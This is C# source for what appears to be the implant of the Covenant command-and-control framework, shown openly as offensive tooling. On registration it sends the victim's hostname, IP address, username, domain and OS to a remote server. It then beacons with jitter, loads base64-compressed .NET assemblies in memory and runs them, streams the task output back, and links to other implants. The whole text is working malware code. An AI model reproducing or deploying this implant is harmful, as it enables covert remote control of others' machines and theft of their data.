private static void TaskExecute(TaskingMessenger messenger, GruntTaskingMessage message, int Delay) { const int MAX_MESSAGE_SIZE = 1048576; string output = ""; try { if (message.Type == GruntTaskingType.Assembly) { string[] pieces = message.Message.Split(','); if (pieces.Length > 0) { object[] parameters = null; if (pieces.Length > 1) { parameters = new object[pieces.Length - 1]; } for (int i = 1; i < pieces.Length; i++) { parameters[i - 1] = Encoding.UTF8.GetString(Convert.FromBase64String(pieces[i])); } byte[] compressedBytes = Convert.FromBase64String(pieces[0]); byte[] decompressedBytes = Utilities.Decompress(compressedBytes); Assembly gruntTask = Assembly.Load(decompressedBytes); PropertyInfo streamProp = gruntTask.GetType("Task").GetProperty("OutputStream"); string results = ""; if (streamProp == null) { results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters); } else { Thread invokeThread = new Thread(() => results = (string)gruntTask.GetType("Task").GetMethod("Execute").Invoke(null, parameters)); using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable)) { using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.GetClientHandleAsString())) { streamProp.SetValue(null, pipeClient, null); DateTime lastTime = DateTime.Now; invokeThread.Start(); using (StreamReader reader = new StreamReader(pipeServer)) { object synclock = new object(); string currentRead = ""; Thread readThread = new Thread(() => { int count; char[] read = new char[MAX_MESSAGE_SIZE]; while ((count = reader.Read(read, 0, read.Length)) > 0) { lock (synclock) { currentRead += new string(read, 0, count); } } }); readThread.Start(); while (readThread.IsAlive) { Thread.Sleep(Delay * 1000); lock (synclock) { try { if (currentRead.Length >= MAX_MESSAGE_SIZE) { for (int i = 0; i < currentRead.Length; i += MAX_MESSAGE_SIZE) { string aRead = currentRead.Substring(i, Math.Min(MAX_MESSAGE_SIZE, currentRead.Length - i)); try { GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, aRead); messenger.QueueTaskingMessage(response.ToJson(), message.Name); } catch (Exception) {} } currentRead = ""; lastTime = DateTime.Now; } else if (currentRead.Length > 0 && DateTime.Now > (lastTime.Add(TimeSpan.FromSeconds(Delay)))) { GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Progressed, currentRead); messenger.QueueTaskingMessage(response.ToJson(), message.Name); currentRead = ""; lastTime = DateTime.Now; } } catch (ThreadAbortException) { break; } catch (Exception) { currentRead = ""; } } } output += currentRead; } } } invokeThread.Join(); } output += results; } } else if (message.Type == GruntTaskingType.Connect) { string[] split = message.Message.Split(','); bool connected = messenger.Connect(split[0], split[1]); output += connected ? "Connection to " + split[0] + ":" + split[1] + " succeeded!" : "Connection to " + split[0] + ":" + split[1] + " failed."; } else if (message.Type == GruntTaskingType.Disconnect) { bool disconnected = messenger.Disconnect(message.Message); output += disconnected ? "Disconnect succeeded!" : "Disconnect failed."; } } catch (Exception e) { try { GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "Task Exception: " + e.Message + Environment.NewLine + e.StackTrace); messenger.QueueTaskingMessage(response.ToJson(), message.Name); } catch (Exception) { } } finally { for (int i = 0; i < output.Length; i += MAX_MESSAGE_SIZE) { string aRead = output.Substring(i, Math.Min(MAX_MESSAGE_SIZE, output.Length - i)); try { GruntTaskingStatus status = i + MAX_MESSAGE_SIZE < output.Length ? GruntTaskingStatus.Progressed : GruntTaskingStatus.Completed; GruntTaskingMessageResponse response = new GruntTaskingMessageResponse(status, aRead); messenger.QueueTaskingMessage(response.ToJson(), message.Name); } catch (Exception) {} } } }
public static void Execute(string CovenantURI, string CovenantCertHash, string GUID, Aes SessionKey) { try { int Delay = Convert.ToInt32(@"{{REPLACE_DELAY}}"); int Jitter = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}"); int ConnectAttempts = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}"); DateTime KillDate = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}")); List <string> ProfileHttpHeaderNames = @"{{REPLACE_PROFILE_HTTP_HEADER_NAMES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List <string> ProfileHttpHeaderValues = @"{{REPLACE_PROFILE_HTTP_HEADER_VALUES}}".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List <string> ProfileHttpUrls = @"{{REPLACE_PROFILE_HTTP_URLS}}".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); string ProfileHttpGetResponse = @"{{REPLACE_PROFILE_HTTP_GET_RESPONSE}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostRequest = @"{{REPLACE_PROFILE_HTTP_POST_REQUEST}}".Replace(Environment.NewLine, "\n"); string ProfileHttpPostResponse = @"{{REPLACE_PROFILE_HTTP_POST_RESPONSE}}".Replace(Environment.NewLine, "\n"); bool ValidateCert = bool.Parse(@"{{REPLACE_VALIDATE_CERT}}"); bool UseCertPinning = bool.Parse(@"{{REPLACE_USE_CERT_PINNING}}"); string Hostname = Dns.GetHostName(); string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString(); foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName())) { if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork) { IPAddress = a.ToString(); break; } } string OperatingSystem = Environment.OSVersion.ToString(); string Process = System.Diagnostics.Process.GetCurrentProcess().ProcessName; int Integrity = 2; string UserDomainName = Environment.UserDomainName; string UserName = Environment.UserName; string RegisterBody = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }"; IMessenger baseMessenger = null; baseMessenger = new HttpMessenger(CovenantURI, CovenantCertHash, UseCertPinning, ValidateCert, ProfileHttpHeaderNames, ProfileHttpHeaderValues, ProfileHttpUrls); baseMessenger.Read(); baseMessenger.Identifier = GUID; TaskingMessenger messenger = new TaskingMessenger ( new MessageCrafter(GUID, SessionKey), baseMessenger, new Profile(ProfileHttpGetResponse, ProfileHttpPostRequest, ProfileHttpPostResponse) ); messenger.QueueTaskingMessage(RegisterBody); messenger.WriteTaskingMessage(); messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message); try { // A blank upward write, this helps in some cases with an HTTP Proxy messenger.QueueTaskingMessage(""); messenger.WriteTaskingMessage(); } catch (Exception) { } List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >(); Random rnd = new Random(); int ConnectAttemptCount = 0; bool alive = true; while (alive) { int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00))); if (rnd.Next(2) == 0) { change = -change; } Thread.Sleep((Delay + change) * 1000); try { GruntTaskingMessage message = messenger.ReadTaskingMessage(); if (message != null) { ConnectAttemptCount = 0; string output = ""; if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts) { if (int.TryParse(message.Message, out int val)) { if (message.Type == GruntTaskingType.SetDelay) { Delay = val; output += "Set Delay: " + Delay; } else if (message.Type == GruntTaskingType.SetJitter) { Jitter = val; output += "Set Jitter: " + Jitter; } else if (message.Type == GruntTaskingType.SetConnectAttempts) { ConnectAttempts = val; output += "Set ConnectAttempts: " + ConnectAttempts; } } else { output += "Error parsing: " + message.Message; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.SetKillDate) { if (DateTime.TryParse(message.Message, out DateTime date)) { KillDate = date; output += "Set KillDate: " + KillDate.ToString(); } else { output += "Error parsing: " + message.Message; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.Exit) { output += "Exited"; messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); messenger.WriteTaskingMessage(); return; } else if (message.Type == GruntTaskingType.Tasks) { if (!Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Any()) { output += "No active tasks!"; } else { output += "Task Status" + Environment.NewLine; output += "---- ------" + Environment.NewLine; output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.ThreadState == ThreadState.Running).Select(T => T.Key + " Active").ToArray()); } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Type == GruntTaskingType.TaskKill) { var matched = Tasks.Where(T => T.Value.ThreadState == ThreadState.Running && T.Key.ToLower() == message.Message.ToLower()); if (!matched.Any()) { output += "No active task with name: " + message.Message; } else { KeyValuePair <string, Thread> t = matched.First(); t.Value.Abort(); Thread.Sleep(3000); if (t.Value.IsAlive) { t.Value.Suspend(); } output += "Task: " + t.Key + " killed!"; } messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, output).ToJson(), message.Name); } else if (message.Token) { Thread t = new Thread(() => TaskExecute(messenger, message, Delay)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); bool completed = t.Join(5000); } else { Thread t = new Thread(() => TaskExecute(messenger, message, Delay)); t.Start(); Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t)); } } messenger.WriteTaskingMessage(); } catch (ObjectDisposedException) { ConnectAttemptCount++; messenger.QueueTaskingMessage(new GruntTaskingMessageResponse(GruntTaskingStatus.Completed, "").ToJson()); messenger.WriteTaskingMessage(); } catch (Exception e) { ConnectAttemptCount++; Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace); } if (ConnectAttemptCount >= ConnectAttempts) { return; } if (KillDate.CompareTo(DateTime.Now) < 0) { return; } } } catch (Exception e) { Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace); } }